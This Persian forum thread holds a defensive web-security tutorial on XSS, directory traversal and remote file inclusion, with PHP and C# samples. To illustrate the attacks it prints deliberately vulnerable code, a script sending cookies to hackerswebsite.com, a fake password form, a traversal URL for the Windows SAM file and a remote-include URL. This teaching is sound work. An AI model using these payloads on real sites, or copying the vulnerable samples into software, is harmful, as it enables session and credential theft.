صفحه 1 از 2 12 آخرآخر
نمایش نتایج 1 تا 40 از 73

نام تاپیک: امنیت در نرم افزار های تحت وب

  1. #1

    امنیت در نرم افزار های تحت وب

    سلام
    سر شب به طور اتفاقی سایت یکی از بچه ها رو که از نظر من برنامه نویس بسیار تواییه رو داشتم نگاه می کردم .از روی کنجکاوی چند تکنیک ساده SQL injection و cross site scripting رو روی برنامش تست کردم و خوشبختانه دیدم تا حد زیادی در برابر این گونه حملات محافظت شده.
    اما
    اما تنها با صرف کمی وقت بیشتر تونستم یک رشته پرس و جوی sql و یک حمله ساده XSS رو بر روی برنامش اجرا کنم.

    از اونجایی که اکثر برنامه های نوشته شده تحت وب که پتانسیل بالایی برای این گونه حملات دارند (و متاسفانه بسیاری از برنامه نویسان هموطن این موضوع رو در نظر نمی گیرن)در این تاپیک تصمیم دارم روش های محافظت از برنامه های تحت وب رو کمی توضیح بدم.(انشااله فردا پس فردا اولیش)
    اگر نظری چیزی دارین بگین ولی خواهشا از ارسال پست های فضایی در این تاپیک خودداری کنید :oops:

    همکاران
    برادر titbasoft (کد های C#‎)
    Artists use lies to tell the truth while politicians use them to cover the truth up

  2. #2
    توضیحات:
    اسکریپت های زیر با php نوشته شده اند.
    کار بسیار زیبایست اگر دوستان معادل asp - asp.net -jsp -...... رو هم بنویسند تا به مقاله اضافه شود.(لطفا از طریق pm بفرستید که با ویرایش بتونم در متن مقاله قرار دهم)
    در این اسکریپت ها فرض شده magic_quotes_gpc=off است (البته در این مقاله و بعدی فرق چندانی نمی کنه و در مقالات آینده طرز عبور از این گونه فیلتر ها هم گفته می شود)

    کار با متغییر های ini
    رک.
    http://www.barnamenevis.org/vi...c.php?p=123516
    Artists use lies to tell the truth while politicians use them to cover the truth up

  3. #3
    با توجه به توسعه روز افزون برنامه های کاربردی تحت وب هر برنامه نویسی که در این زمینه فعالیت می کند ملزم است که حملات رایج به این گونه برنامه ها را شناخته و از بروز آن ها جلوگیری کند.
    سلسله مقالات ذیل مقدمه ایست بر حمله های رایج و نحوه دفاع در برابر آن ها.در این مقالات با انواع حملات Cross site scripting و sql injection آشنا می شوید و خواهید آموخت چگونه از بروز آن ها در برنامه های خود جلوگیری کنید.

    بخش اول آشنایی با Cross site scripting
    در این گونه حملات فرد نفوذ گر بر روی استفاده کننده از برنامه شما فوکوس می کند.وی با استفاده از تگهای ساده HTML به یوزر های شما حمله خواهد کرد.
    مثال:
    برنامه زیر با استفاده از یک فایل اطلاعات را از کاربران گرفته و نمایش میدهد.(چیزی شبیه به یک فوروم خیلی ساده)
    برنامه الگوی 1: PHP mode))


    <?PHP
    $filename="1";

    if (isset($_POST&#91;'comment']) and !empty($_POST&#91;'comment'])){
    if (!$handle = fopen($filename, 'a')) {
    echo "Cannot open file ($filename)";
    exit;
    }
    // Write $somecontent to our opened file.
    if (fwrite($handle, $_POST&#91;'comment']."\n") === FALSE) {
    echo "Cannot write to file ($filename)";
    exit;
    }

    echo "Success, wrote ".$_POST&#91;'comment'] ." to file ($filename)";

    fclose($handle);

    }

    ?>
    <form action="" method="POST">
    <p>
    <textarea name="comment" cols="50"></textarea>
    </p>
    <p>
    <input type="submit" name="Submit2" value="Submit">
    </p>
    </form>
    <?PHP
    // get contents of a file into a string
    $handle = @fopen($filename, "r");
    $contents = @fread($handle, filesize($filename));
    echo nl2br($contents);
    @fclose($handle);
    ?>



    C#‎

    private void Page_Load&#40;object sender, System.EventArgs e&#41;
    &#123;
    string filename = "1";
    if &#40;Page.IsPostBack&#41;
    &#123;
    System.IO.StreamWriter sr = System.IO.File.CreateText&#40;filename&#41;;

    // safe
    sr.WriteLine &#40;System.Web.HttpUtility.HtmlEncode&#40;TextBox 1.Text&#41;&#41;;

    // unsafe
    //sr.WriteLine &#40;TextBox1.Text&#41;;

    sr.Close&#40;&#41;;
    &#125;

    if &#40;System.IO.File.Exists&#40;filename&#41;&#4 1;
    &#123;
    System.IO.StreamReader sr = System.IO.File.OpenText&#40;filename&#41;;
    string input ;
    if &#40;&#40;input =sr.ReadLine&#40;&#41;&#41;!=null&#41;
    Response.Write&#40;input&#41;;
    sr.Close&#40;&#41;;
    &#125;
    &#125;


    تا اینجا همه چیز عادیست . یک یوزر مثلا جمله "سلام دنیا" را در textbox می نویسد و پس از ذخیره در فایل این جمله نمایش داده میشود.
    حال این عبارت را تست کنید:

    &lt;script>alert&#40;document.domain&#41;&lt;/script>

    با توجه به اینکه عبارت قرار داده شده در فایل عینا بر روی صفحه ظاهر خواهد شد مرورگر کاربر کدها را تفسیر و اجرا میکند.بنابراین اسکریپت فوق دقیقا همانند اینکه در برنامه شما به صورت پیش فرض وجود داشته باشد اجرا خواهد شد!
    یک مثال جالبتر:

    &lt;form name="form1" method="post" action="http&#58;//mysite.com/datastealer.php">
    &lt;p>Enter your password , email or something
    &lt;input name="password" type="text" id="password">
    &lt;input type="submit" name="Submit" value="Submit">
    &lt;/form>

    سایت شما مورد اعتماد کاربر است بنابراین وی اطلاعات شخصی خود را با توجه به اینکه به شما اعتماد دارد وارد خواهد کرد.و این اطلاعات به اسکریپت نفوذ گر منتقل شده و ذخیره میشوند!

    اما این تنها نمایی از خطر این گونه حملات است.شاید فکر کنید در صورتیکه یوزرهای شما آگاه باشند چندان هم در خطر نیستید.اما صبر کنید هنوز تکنیک های زیرکانه تری برای یک مهاجم باقیست
    با هم یک مثال عملی از دزدیده شدن اطلاعات کاربری را بررسی می کنیم:
    1- مهاجم یک برنامه ساده ثبت اطلاعات در وب سایت خود مینویسد.که بدینوسیله اطلاعات را دریافت و ثبت می کند.
    http://hackerswebsite.com/recordscript.php?information=[data]
    بدین ترتیب که هر داده ای که جای دیتا قرار داده شود ثبت خواهد شد.
    2- وی این کد را در برنامه الگو1 وارد می کند.

    &lt;script>document.location.replace&#40;http&# 58;//hackerswebsite.com/recordscript.php?information='+document.cookie&#41 ;;&lt;/script>

    وی به سادگی کوکی ها و session ID های کاربر شما را دزدید!

    راه حل:
    تبدیل کاراکتر های ویژه html همانند &lt; ، > ، &amp; ، ‘ ، “ ، و سایر کاراکتر هایی که ممکن است مورد سواستفاده قرار گیرند به معادل کاراکتری آن ها برای مثال تابع زیر این کار را در PHP برای شما انجام میدهد:
    string htmlspecialchars &#40; string string &#91;, int quote_style &#91;, string charset&#93;&#93;&#41;

    تنها با عوض کردن این خط

    if &#40;fwrite&#40;$handle, $_POST&#91;'comment'&#93;."\n"&#41; === FALSE&#41; &#123;

    در برنامه الگو1 و تبدیل آن به

    if &#40;fwrite&#40;$handle, htmlspecialchars&#40;$_POST&#91;'comment'&#93;&#41 ;."\n"&#41; === FALSE&#41; &#123;

    برنامه فوق تا حد زیادی در برابر این سطح از حملات ایمن شده.اما توجه کنید همان طور که گفتم تکنیک های زیرکانه تری نیز وجود دارد که در مقالات بعدی به آن ها خواهیم پرداخت.
    هدف من در این مقاله آشنایی ابتدایی شما یا حملات Cross site scripting که XSS نیز نامیده می شوند بود در مقالات بعدی این بحث را دنبال خواهیم کرد.
    تگ های خطرناک:

    HTML Tag Description
    &#91;b&#93;&lt;SCRIPT>&#91;/b&#93; Adds a script that is to be used in the document.

    Attributes&#58;
    • type = Specifies the language of the script. Its value must be a media type &#40;e.g. text/javascript&#41;. This attribute is required by the HTML 4.0 specification and is a recommended replacement for the “language” attribute.
    • language = Identifies the language of the script, such as JavaScript or VBScript.
    • src = Specifies the URL of an outside file containing the script to be loaded and run with the document. &#40;Netscape only&#41;
    Supported by&#58; Netscape, IE 3+, HTML 4, Opera 3+

    &#91;b&#93;&lt;OBJECT>&#91;/b&#93;
    Places an object &#40;such as an applet, media file, etc.&#41; on a document. The tag often contains information for retrieving ActiveX controls that IE uses to display the object.
    Attributes&#58;
    • classid = Identifies the class identifier of the object.
    • codebase = Identifies the URL of the object’s codebase.
    • codetype = Specifies the media type of the code. Examples of code types include audio/basic, text/html, and image/gif. &#40;IE and HTML 4.0 only&#41;
    • data = Specifies the URL of the data used for the object.
    • name = Specifies the name of the object to be referenced by scripts on the page.
    • standby = Specifies the message to display while the object loads.
    • type = Specifies the media type for the data.
    • usemap = Specifies the imagemap URL to use with the object.
    Supported by&#58; Netscape, IE, HTML 4

    &#91;b&#93;&lt;APPLET> &#91;/b&#93;
    Used to place a Java applet on a document. It is depreciated in the HTML 4.0 specification in favour of &lt;object> tag.
    Attributes&#58;
    • code = Specifies the class name of the code to be executed &#40;required&#41;.
    • codebase = The URL from which the code is retrieved.
    • name = Names the applet for reference elsewhere on the page.
    Supported by&#58; Netscape, IE 3+, HTML 4

    &#91;b&#93;&lt;EMBED>&#91;/b&#93;
    Embeds an object into the document. Embedded objects are most often multimedia files that require special plug-ins to display. Specific media types and their respective plug-ins may have additional proprietary attributes for controlling the playback of the file. The closing tag is not always required, but is recommended. The tag was dropped by the HTML 4.0 specification in favour of the &lt;object> tag.
    Attributes&#58;
    • hidden = Hides the media file or player from view when set to yes.
    • name = Specifies the name for the embedded object for later reference within a script.
    • pluginspage = Specifies the URL for information on installing the appropriate plug-in.
    • src = Provides the URL to the file or object to be placed on the document. &#40;Netscape 4+ and IE 4+ only&#41;
    • code = Specifies the class name of the Java code to be executed. &#40;IE only&#41;
    • codebase = Specifies the base URL for the application. &#40;IE only&#41;
    • pluginurl = Specifies a source for installing the appropriate plug-in for the media file. &#40;Netscape only&#41;
    • type = Specifies the MIME type of the plug-in needed to run the file. &#40;Netscape only&#41;
    Supported by&#58; Netscape, IE 3+, Opera 3+
    &lt;FORM> Indicates the beginning and end of a form.
    Attributes&#58;
    • action = Specifies the URL of the application that will process the form.
    • enctype = Specifies how the values for the form controls are encoded when they are submitted to the server.
    • method = Specifies which HTTP method will be used to submit the form data.
    • target = Specifies a target window for the results of the form submission to be loaded &#40; _blank, _top, _parent, and _self&#41;.


    سئوالی ، نظری ، ایده ای چیزی دارین دریغ نفرمایید اما کما فی السابق از ارسال پست های فضایی (مثلا : من می خوام پسورد مسنجر رو در بیارم از این روش چجوریه؟!!!!) خودداری نمایید :mrgreen:
    Artists use lies to tell the truth while politicians use them to cover the truth up

  4. #4
    بسیار ممنون
    خواهشا ASP رو هم در کنار PHP پوشش بدید

  5. #5
    خواهشا ASP رو هم در کنار PHP پوشش بدید
    حملات XSS ربط چندانی به زبان برنامه نویسی سرور ساید شما ندارد.این حملات صرفا بر روی خروجی HTML برنامه و تفسیر مرورگر کاربر از آن متمرکز شده.
    در حملات sql injection هم بر اساس نوع بانک اطلاعاتی توضیح میدم.

    این که گفتم یکی asp و سایر زبان های سرور ساید رو بنویسه تنها برای اینه که برنامه های الگوی استفاده شده در مقالات بعنوان نمونه و تست برای نمامی کاربرانی که ممکن است php روی سیستمشون نصب نباشه قابل اجرا در محیط عملی باشه.
    در الگوی 1 برنامه تنها کاری که می کند یک ورودی را از کاربر گرفته و در یک فایل ذخیره می کند سپس محتویات فایل را نمایش میدهد.فکر کنم نوشتنش با asp و .net کار دو سه دقیقه باشه.
    Artists use lies to tell the truth while politicians use them to cover the truth up

  6. #6
    در بخش قبل تا جایی پیش رفتیم که برنامه نویس با فیلتر کردن کاراکتر هایی مانند ‘ ، “ ، &lt; ، > و ... جلوی تزریق اسکریپت به برنامه را می گرفت.
    برای مثال این ورودی

    &lt;script>alert&#40;document.domain&#41;&lt;/script>

    به این صورت ذخیره می شد

    &amp;lt;script&amp;gt;alert&#40;document.domain&#4 1;&amp;lt;/script&amp;gt;

    فیلتر کردن این کاراکتر ها کمک بسیار زیادی برای جلوگیری از حملات XSS و تا حدودی Sql injection می نماید.
    اما هنوز تکاتی مانده!

    به برنامه الگو 2 توجه کنید:

    &lt;?PHP
    $filename="2";

    if &#40;isset&#40;$_GET&#91;'comment'&#93;&#41; and !empty&#40;$_GET&#91;'comment'&#93;&#41;&#41;&#123 ;
    if &#40;!$handle = fopen&#40;$filename, 'a'&#41;&#41; &#123;
    echo "Cannot open file &#40;$filename&#41;";
    exit;
    &#125;
    // Write $somecontent to our opened file.
    if &#40;fwrite&#40;$handle, "&lt;img src='".htmlspecialchars&#40;$_GET&#91;'comment'&#9 3;&#41;."'>"."\n"&#41; === FALSE&#41; &#123;
    echo "Cannot write to file &#40;$filename&#41;";
    exit;
    &#125;

    echo "Success, wrote";

    fclose&#40;$handle&#41;;

    &#125;

    ?>
    &lt;form action="" method="GET">
    &lt;p>
    &lt;textarea name="comment" cols="50">&lt;/textarea>
    &lt;/p>
    &lt;p>
    &lt;input type="submit" name="Submit2" value="Submit">
    &lt;/p>
    &lt;/form>
    &lt;?PHP
    // get contents of a file into a string
    $handle = @fopen&#40;$filename, "r"&#41;;
    $contents = @fread&#40;$handle, filesize&#40;$filename&#41;&#41;;
    echo nl2br&#40;$contents&#41;;
    @fclose&#40;$handle&#41;;
    ?>


    نمونه C#‎

    private void Page_Load&#40;object sender, System.EventArgs e&#41;
    &#123;
    string filename = "1";
    if &#40;Page.IsPostBack&#41;
    &#123;
    System.IO.StreamWriter sr = System.IO.File.CreateText&#40;filename&#41;;

    //unsafe
    sr.WriteLine &#40;"&lt;img src='" + System.Web.HttpUtility.HtmlEncode&#40;TextBox1.Tex t&#41; + "'>"&#41;;

    sr.Close&#40;&#41;;
    &#125;

    if &#40;System.IO.File.Exists&#40;filename&#41;&#4 1;
    &#123;
    System.IO.StreamReader sr = System.IO.File.OpenText&#40;filename&#41;;
    string input ;
    if &#40;&#40;input =sr.ReadLine&#40;&#41;&#41;!=null&#41;
    Response.Write&#40;input&#41;;
    sr.Close&#40;&#41;;
    &#125;
    &#125;


    این برنامه آدرس یک عکس را از کاربر گرفته در یک فایل ذخیره می کند و عکس مورد نظز را نمایش خواهد داد.برای تزریق اسکریپت من چنین چیزی را در فرم وارد می کنم برنامه آن را یک آدرس ساده در نظر گرفته و سعی در نمایش آن خواهد کرد!

    Javascript&#58;alert&#40;document.domain&#41;

    با توجه به نتیجه برنامه ما هنوز آسیب پذیر است!
    راه حل:
    در این گونه مواقع دقت کنید که کاربر فایلی را که مثلا در اینجا یک عکس بود با پسوند مجاز وارد کند.مثلا GIF – JPG – PNG .

    ممکن است برنامه شما به جای عکس آدرس یک لینک را بگیرد.در این صورت هم باز یک مهاجم با همین تکنیک میتواند موفق شود.

    نکته:
    ممکن است کاربران شما یک فایل فلش را به برنامه بدهند توجه کنید که در تابع getURL() موجود در action script در صورتیکه کدی مثل کد بالا را وارد کنید باز هم همان کار را انجام خواهد داد!(مرورگر ورودی این تابع را تفسیر می کند)در قبول این گونه داده ها هوشیار باشید.

    نکته:
    از برنامه های کلایت ساید برای پردازش ورودی فرم ها استفاده نکنید.
    یک مهاجم به سادگی با ذخیره برنامه شما آن را آنگونه که بخواهد تغییر خواهد داد.
    راه حل:
    حتما چک کنید که درخواست از مکانی مورد قبول مثلا صفحه دریافت کننده اطلاعات وارد شود.در غیر این صورت آن را قبول نکنید.متاسفانه بسیاری از برنامه نویسان فکر می کنند با انتخاب متد POST جلوی حملات XSS , Sql injection , Directory browsing و ... را گرفته اند.این تصور تصروری کاملا اشتباه است.
    مهاجم صفحه شما را ذخیره می کند آن را عوض کرده و به برنامه پردازش اطلاعات ارسال می کند.
    برای مثال سیستم های رای گیری مقالات مورد خوبی از این اشتباهات هستند.برنامه نویسان تعدادی گزینه برای رای دهی به یک مقاله یا محصول یا هر چیز دیگری را در صفحه قرار میدهند.یک مهاجم با ذخیره صفحه و تغییر مقدارها می تواند سیسنستم رای گیری شما را املا مختل کند مثلا به گزینه خیلی خوب مقدار -10000 یا هر چیز دیگری را داده و آن را به برنامه پردازش گر ارسال کند در این حالت میانگین این عدد و مقدار پیشین کاملا غیر قابل تصور و غیر منطقی خواهد بود.

    در موارد پیشرفته تر یک مهاجم می تواند حتی داده های ارسالی را با نصب یک پروکسی سرور بر روی سیستم خود بین راه دستکاری کند!بنابراین حتما در سمت برنامه پردازش کننده ورودی ها را چک کنید.

    نکته آخر:
    در صورتیکه الگوریتم فیلتر کذاری خودتان را استفاده می کنید به خاطر داشته باشید که مهاجم الزاما از کاراکتر های &lt; یا > استفاده نمی کند.کد زیر هم می تواند همان کار را انجام دهد

    %3CSCRIPT%3Ealert&#40;document.domain&#41;;%3C/SCRIPT%3E

    مهاجم می تواند معادل هگزادسیمال یک کاراکتر ASCII را به برنامه شما ارسال کند.


    در مجموع حملات Cross site scripting غالبا در دسته حملاتی با ریسک متوسط دسته بندی می شوند.اما فراموش نکنید هر چند همیشه این گونه ضعف ها خطرناک نیست اما می توانند بستری برای ترکیب با تکنیک های دیگر و ... باشند.

    فراموش نکنید در اینجا تنها مقدمه برای آشنایی و نحوه جلوگیری از این حملات گفته شد.
    در بخش بعدی به حملات Directory browsing خواهیم پرداخت.
    Artists use lies to tell the truth while politicians use them to cover the truth up

  7. #7
    یک چیز همیشه من رو به خودش مشغول کرده و اون اینکه به فرض ما یه فرم جعلی با Injectionساختیم که بیننده بیچار بیاد و رمز رو وارد کنه تا ما بگیریمش...
    این تغییرات که روی سرور اعمال نمیشه و فقط روی سیستم من اعمال میشه و البته فقط بلافاصله بعد از تغییرات من (اگه سایت دیگه ای نرفته باشیم)

  8. #8
    کاربر دائمی آواتار jirjirakk
    تاریخ عضویت
    بهمن 1381
    محل زندگی
    wwwroot
    پست
    660
    هوتن جان مرسی :) :flower:

  9. #9
    یک چیز همیشه من رو به خودش مشغول کرده و اون اینکه به فرض ما یه فرم جعلی با Injectionساختیم که بیننده بیچار بیاد و رمز رو وارد کنه تا ما بگیریمش...
    این تغییرات که روی سرور اعمال نمیشه و فقط روی سیستم من اعمال میشه و البته فقط بلافاصله بعد از تغییرات من (اگه سایت دیگه ای نرفته باشیم)
    در مثال های فوق اگر توجه کنی می بینی که اطلاعات در یک فایل ذخیره شده.حالا تو این رو کمی گسترش بده.
    تو میتونی در صورتیکه برنامه نویس توجهی به ایمن سازی برنامش نکرده باشه زمانی که یک صفحه دینامیک میخواد اطلاعاتش رو از روی یک فایل یا دیتابیس یا هر چیز دیگه بسازه و به کاربر نمایش بده کدهای html و جاوا اسکریپت رو در صفحه کنترل کنی.
    کد مثال ها بسیار ساده است شاید با خوندنش منظورم رو بهتر متوجه شی.
    Artists use lies to tell the truth while politicians use them to cover the truth up

  10. #10
    بنیان گذار Barnamenevis آواتار مهدی کرامتی
    تاریخ عضویت
    اسفند 1381
    محل زندگی
    کرج، گلشهر
    سن
    46
    پست
    6,379
    [آف تاپیک]:

    برادر houtanal:

    لطفا سیستمی رو که نوشتم یک تست برای نفوذپذیری بکن و نتیجه رو برام PM کن:

    http://www.delphiassistant.com

  11. #11
    اقای هوتن این رو یک نگاه کن ببین ایرادش چیه به درد می خوره یا نه؟

    // control the input values
    $i=0;
    foreach &#40;$_REQUEST as $element&#41;&#123;
    $_REQUEST&#91;$i++&#93; = trim&#40;htmlspecialchars&#40;strip_tags&#40;$elem ent&#41;&#41;&#41;;
    &#125;

    برای بخش های عمومی سایت مثل login و search و...
    ببین چه مشکلی احتمال داره ایجاد کنه؟

  12. #12
    در مقابل XSS و SQL injection فکر کنم ایمن باشه(در محیط کاربردی و با در نظر گرفتن تمامی پارامتر ها مشخص میشه)
    Artists use lies to tell the truth while politicians use them to cover the truth up

  13. #13
    در این قسمت به نوعی دیگر از حملات رایج به برنامه های تحت وبی می پردازیم.این گونه حملات بر روی استباهات برنامه نویس در کار با فایل ها یا دایرکتوری ها متمرکز می شود و در برخی مواقع می تواند بسیار بیشتر از حد تصور خطرناک باشد.

    اولین نوع به مواقعی بر می گردد که یک برنامه نویس با گرفتن پارامتر ورودی محتویات یک فایل یا دایرکتوری را فراخوانی می کند به برنامه زیر توجه کنید.

    &lt;?php
    $dir = $_GET&#91;'select'&#93;;
    $files1 = @scandir&#40;$dir&#41;;
    print_r&#40;$files1&#41;;
    ?>

    این برنامه نام یک دایرکتوری را می گیرد و محتویات آن را نمایش میدهد.این روش برای کار با فایل ها و دارکتوری ها عالیست.بعضا پیش می آید که استفاده هوشمندانه از این روش ها شما را از کار با دیتابیس بی نیاز می کند.اما چه اتفاقی می افتد اگر مهاجم مقدار /.. را به متغییر select بدهد! وی به سادگی قادر به دیدن محتویات دایرکتوری دلخواه خواهد شد. شاید این مسئله در اکثر مواقع خیلی خطرناک نباشد اما معمولا کار با سیستم فایل به همین جا ختم نمیشه ، یک برنامه نویس ممکنه بخواهد با گرفتن آدرس یک فایل محتویات اون رو نمایش بده.(من خودم در خیلی مواقع از این روش استفاده می کنم).حالا برنامه بالا رو کامل می کنیم.

    &lt;?php
    $filename= $_GET&#91;‘dir’&#93;.$_GET&#91;‘file’&#93; ;
    $handle = fopen&#40;$filename, "r"&#41;;
    $contents = fread&#40;$handle, filesize&#40;$filename&#41;&#41;;
    fclose&#40;$handle&#41;;
    ?>

    برنامه دو ورودی دارد ورودی اول نام دایرکتوری است.که در مرحله اول انتخاب می شود .پس ازنمایش فایل های موجود در دایرکتوری و سایر عملیت لازم برنامه نویس به کاربر امکان این را میدهد که یک فایل را انتخاب کرده و مشاهده کند.مثلا در یک سیستم مدیریت اسناد کاربر می تواند با انتخاب دسته بندی و سپس انتخاب فایل به فایل مورد نظر دسترسی داشته باشد.خب تا اینجای کار همه چیز بر طبق روال پیش می ره.اما یک مهاجم با وارد کردن /.. ابتدا به دایرکتوری ریشه و از اونجا به سادگی به هر دایرکتوری که بخواهد دسترسی پیدا کرده و سپس با مقدار دهی با متغییر مربوط به فایل به فایل دلخواه در دایرکتوری مورد نظر دسترسی پیدا می کند.یک مثال عملی:

    http&#58;//host/filereader.php?dir=../../WINNT/repair/&amp;file=sam

    با این کار مهاجم فایل پشتیبان مربوط به نام های کاربری و پسورد ها را از سیستم ویندوز سرور دانلود می کند.سپس با دادن آن به یک برنامه پسورد کرکر به پسورد های شما دسترسی پیدا میکند.
    این مسئله در سیستم های یونیکسی نیز صادق است.فهمیدن این که وب سرور شما بر روی چه سیستم عاملی قرار گرفته کار سختی نیست . پس از فهمیدن مهماجم با مراجعه به مستندات آن سیستم محل قرار گیری فایل های اعتبار سنجی را دریافته و به سراغ آن ها خواهد رفت.
    امیدوارم ایده اصلی این گونه آسیب پذیری ها رو درک کرده باشید.این نوع از حملات در حقیقت از توانایی برنامه شما برای کار با دایرکتوری ها سواستفاده می کنند.

    راه حل:
    برای جلوگیری از این گونه حملات می تونید مکان های مجاز رو به صورت یک آرایه تعریف کنید و سپس قبل از خواندن اطلاعات دایرکتوری مورد نظر چک کنید آیا خواندن این دایرکتوری مجاز هست یا نه.مثلا:

    &lt;?php
    $permited_dir=array&#40;"dir1","dir2","dir3"&#41;;
    if&#40;!in_array&#40;$_GET&#91;'dir'&#93;,$permite d_dir&#41;&#41;&#123;
    die&#40;"Unpermited directory!"&#41;;
    &#125;
    ?>

    راه دیگه اینه که در وب سرور اجازه ندهید یک وب سایت به دایرکتوری های دیگری بجز دایرکتوری مربوط به خودش دسترسی داشته باشد.

    اما صبر کنید قضیه همین جا تمام نمی شود.ممکن است شما تمام این کار ها را کرده باشید اما هنوز شما ایمن نیستید!
    ممکن است یک مهاجم بر اساس ساختار برنامه شما به بخش هایی که در حالت عادی امکان دسترسی از طریق برنامه را ندارد دسترسی پیدا کند.مثلا شما عکس ها وب سایت خود را به این صورت آدرس دهی می کنید.

    Src=”files/images/1.gif”

    به هر حا برنامه شما نیازمند است که برای رجوع های اینچنینی از دایرکتوری ها و فایل های تعریف شده در فضای وب سایت استفاده کند.حال اگر مهاجم آدرس زیر را در ن.ار آدرس تایپ کند عکس بالا را خواهد دید.

    http&#58;//host/files/images/1.gif

    و اگر این را تایپ کند محتویات دایرکتوری را می بیند!

    http&#58;//host/files/

    در بسیاری از موارد برنامه نویسان فایل های مورد نیاز برنامه یا پشتیبان های گرفته شده از دیتا بیس را با پسوند هایی نظیر inc , sql , … ذخیره می کنند . حال اگر یک مهاجم با روش بالا مکان این فایل ها را پیدا کند دسترسی به آن ها سخت نیست.این فایل ها شامل اطلاعات بسیار با ارزش و حساسیست.بنابراین مهاجم با یک میانبر ساده به اطلاعات حیاتی برنامه شما از قبیل نام کاربری یا کلمات عبور دسترسی پیدا کرده است!
    ممکن است شما به کاربرانتان فضایی برای ذخیره اطلاعات و فایل های شخصی بدهید یا مثلا برای دسترسی به یک فایل سطوح کاربری تعریف کنید با این روش دیگر session ها یا کوکی ها یا هر روش اعتبار سنجی دیگری هیچ کاری نمی توانند انجام دهند.
    در موارد پیشرفته تر مهاجم با استفاده از برنامه هایی که به spider معروفند به صورت اتوماتیک تمامی لینک های درون سایتی شما را بررسی کرده . تک تک آن ها را کاوش می کند و به اطلاعات مورد نظر دسترسی پیدا میکند.(هر چند شخصا به روش های دستی اطمینان بیشتری دارم)
    بعضی از برنامه نویسان با قرار دادن فایل robots.txt در دایرکتوری ریشه سایت خود به این امید که مقام بالاتریدر موتور های جستجو کسب کنند کار را بسیار ساده می کنند . این فایل شامل لیستی از دایرکتوری هاست که روبوت های جستجو می توانند به آن ها دسترسی پیدا کنند یا دسترسی به آن ها ممنوع است.به هر حال موتورهای جستجو توجه چندانی به این گونه فایل ها نمی کنند و این کار تنها کمکیست به مهاجم برای ساده کردن مرحله جمع آوری اطلاعات.

    راه حل:
    به هیچ وجه فایل های خود را با پسوند هایی مثل inc , sql , ….. و امثالهم ذخیره نکنید.یک وب سرور زمانی که فایلی خارج از نوع فایل هایی که باید آن ها را پردازش کند (مثلا php.) را دریافت کند آن را مستقیما به کاربر تحویل می دهد یا محتوات آن را نمایش میدهد.

    در تمام دایرکتوری های برنامه حود که فایل هایی رو در بر دارند یک فایل خالی با نام index.htm قرار دهید.
    در وب سرور ها معمولا تعیین می شود که این گونه فایل ها (index.php , default.asp , index. Htm , )
    به صورت پیش فرض در صورتیکه از طرف مرورگر کاربر فایل خاصی تقا ضا نشده باشد نمایش داده شوند.
    با این روش مهاجم نمی تواند در دایرکتوری های شما کاوش کند.

    در آپاچه می تونید mod_dir رو غیر فعال کند.یا برای دایرکتوری ها بوسیله .htaccess سطح دسترسی بذارید.
    در آپاچه حتی میتونید بوسیله &lt;directory> مکانیزم های دسترسی را نیز تعیین کنید.

    از طرفی در نوع دیگری از حملات فایل و دایرکتوری شما ممکن است با گرفتن یک ورودی فایلی با اون نام رو include کنید در این حالت مهاجم تنها کافیست با دادن ورودی دلخواه به برنامه شما فایل دلخواهش را به برنامه وارد کرده و آن را روی سرور شما اجرا کند.برای مثال

    http&#58;//host/viewsomething.php?file=readme.txt

    را به

    http&#58;//host/viewsomething.php?file=http&#58;//attacker/executecode.php

    تبدیل کند.
    خملات فوق حتی در پاره ای از موارد می توانند سبب نمایش کد برنامه شما (مثلا index.php) بر روی مرورگر گردند.

    در مجموع هر چند حمله به دایکتوری ها فایل ها اکثرا جزو حملاتی با ریسک متوسط دسته بندی می شوند اما در پاره ای موارد بسیار خطرناک هستند.برای مثال آسیب پذیری رابط تحت وب روترهاس سیسکو تقریبا از مشکلی مشابه رنج می برود.

    باز هم تکرار می کنم مقالات فوق صرفا برای معرفی حملات رایج است و شما باید ایده کلی آن ها دریافته و با کمی خلاقیت آن را گسترش داده و سپس از بروز آن ها در برنامه خود جلوگیری کنید.

    نمونه درست و غلط در C#‎

    private void btnSubmit_Click&#40;object sender, System.EventArgs e&#41;
    &#123;
    string dirName = TextBox1.Text ;

    //==================Unsafe
    /*
    System.IO.DirectoryInfo di = new System.IO.DirectoryInfo&#40;Server.MapPath&#40;dir Name&#41;&#41;;
    System.IO.FileInfo&#91;&#93; fi = di.GetFiles&#40;&#41;;
    foreach &#40;System.IO.FileInfo fiTemp in fi&#41;
    Response.Write &#40;fiTemp.Name + "&lt;BR>"&#41;;
    */

    //==================Safe
    string dirs = "bin|myDir1|myDir2";
    if &#40;dirs.IndexOf&#40;dirName&#41;!=-1 &amp;&amp; dirName.Length > 0&#41;
    &#123;
    System.IO.DirectoryInfo di = new System.IO.DirectoryInfo&#40;Server.MapPath&#40;dir Name&#41;&#41;;
    System.IO.FileInfo&#91;&#93; fi = di.GetFiles&#40;&#41;;
    foreach &#40;System.IO.FileInfo fiTemp in fi&#41;
    Response.Write &#40;fiTemp.Name + "&lt;BR>"&#41;;
    &#125;
    else
    Response.Write&#40;"&lt;font color=red>Access Deny!&lt;/font>"&#41;;
    &#125;


    در مقاله بعدی چگونگی پنهان سازی یا ایمن سازی متد مورد استفاده در برنامه را خواهم گفت که به جلوگیری از حملاتی که در بالا ذکر شد نیز کمک می نماید.
    Artists use lies to tell the truth while politicians use them to cover the truth up

  14. #14
    اولین تلاش یک مهاجم برای نفوذ به برنامه فهمیدن نحوه عملکرد برنامه شامل چگونگی عملکرد سیستم تشخیص هویت برنامه مثلا چگونگی استفاده از session ها یا کوکی ها ، سیستم پشتیبان گیری برنامه ، نحوه فیلتر کردن ورودی ها ، پیغام های خطا ، الگوریتم های رمز نگاری و ... است.
    برای مثال در حملات Sql Injection اولین تلاش مهاجم ورود یک سری کاراکتر های مورد استفاده در نوع حملات مثل ‘ و گرفتن پیغام خطای برنامه می باشد.پیغام های خطای پیش فرض کدی را که موجب ایجاد خطا می گردد رو نمایش داده و در مواردی حتی رشته پرس و جو یا سایر اطلاعات رو نمایش می دهند.
    مهاجم با جمع کردن تکنیک های مورد استفاده برای نفوذ بعلاوه نحوه واکنش برنامه در برابر کنش های غیر عادی نقاط ضعف برنامه را شناسایی و از آن ها استفاده می کند.

    برای مثال با ساختن دو اکانت مختلف در برنامه هایی که از اعتبار سنجی استفاده می کنند و مقایسه مقادیر و شکل session ها و کوکی ها یک مهاجم به نحوه عملکرد آن ها پی برده و با آنالیز کردن موارد فوق سعی در نفوذ به سیستم می کند.
